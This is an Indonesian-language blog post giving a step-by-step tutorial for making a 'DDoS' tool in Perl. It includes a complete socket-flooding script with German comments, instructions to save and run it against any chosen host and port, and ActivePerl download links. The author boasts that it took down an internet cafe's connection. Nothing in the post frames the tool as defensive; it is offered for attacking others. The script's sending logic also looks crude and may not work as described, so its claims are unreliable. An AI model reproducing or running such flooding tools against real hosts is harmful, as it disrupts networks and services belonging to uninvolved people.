Kali ini blog Dunia-Kita akan menjelaskan kepada teman-teman yang mungkin ingin mengetahui bagaimana membuat DDOS. Jika sobat searching di Google maka yang ada sobat akan diberikan bagaiama membuat DDOS bat. Pengalaman saya pribadi bahwa DDOS Bat itu kurang efektif dan hampir tidak pernah digunakan di medan-medan perang cyber.
Kita akan belajar membuat DDOS Perl. DDOS ini sebenarnya sederhana namun sangat ampuh dan efektif saya pernah mengalami kehebatan DDOS yang satu ini. Ketika saya gunakan DDOS Perl baru saya buka 4, satu warnet sudah error semuanya. Itu karena DDOS menghisap habis akses internet di jaringan tersebut.
Trik ini sederhana dan saya juga masih belajar. Jangan malu berbagi dengan hal-hal kecil karena hal-hal yang besar bermula dari hal yang kecil. Ilmu yang kita jangan disombongkan tetapi untuk diamalkan.
Okeh langsung saja
Siapkan notepad start>all program>accesories>notepad
Copy script yang ada dibawah ini
#bitte kein weiterverkauf an andere, danke lg ja0
use IO::Socket;
system ('cls');
system ('title DDOS');
print "\a
----------------------
:::DDoS by Muhammad Syahid
----------------------
\n";
print "\nSo Funktionierts, Das programm fragt dich nach den Hostnamen od. Ip addresse und dan nach den Port (standartmäßig 80), Dan das protocol TCP oder UDP, Wen du beides benötigst gib TCP,UDP ein. \n\n";
system ('PAUSE');
system ('cls');
print "\nHost:\a";
chomp ($host = <STDIN>);
system ('cls');
print "\nPort:\a";
chomp ($port = <STDIN>);
system ('cls');
print "\nProtokol (TCP oder. UDP):\a";
chomp ($proto = <STDIN>);
{
$sock = IO::Socket::INET->new(Proto=>"$proto", PeerAddr=>"$host", PeerPort=>"$port") || die "\nCould not connect to the remote machine. Either the machine is offline or the port is not in use on the selected protocol.\a";
}
Packets:
while (1) {
$size = rand() * 8921873 * 9991988;
print ("Flooding: $host:$port~$proto Packets Sent: $size\n");
send($sock, 0, $size)
}
Kamu tinggal edit target.ip,dan portnya sendiri
Kamu juga bisa mengganti nama yang ada tersebut dengan nama kamu
Terakhir simpan dengan format pl. Contoh MyDDOS.pl
Ingat ketika kamu menggunakan DDOS perl maka kamu harus menginstal dulu active perlnya
Kamu dapat mendownloadnya dibawah ini
Download Active Perl Windows 32 bit
Download Active Perl Windows 64 bit
Selesai
Semoga bermanfaat
Sumber Grup OP Myanmar
0 Comments
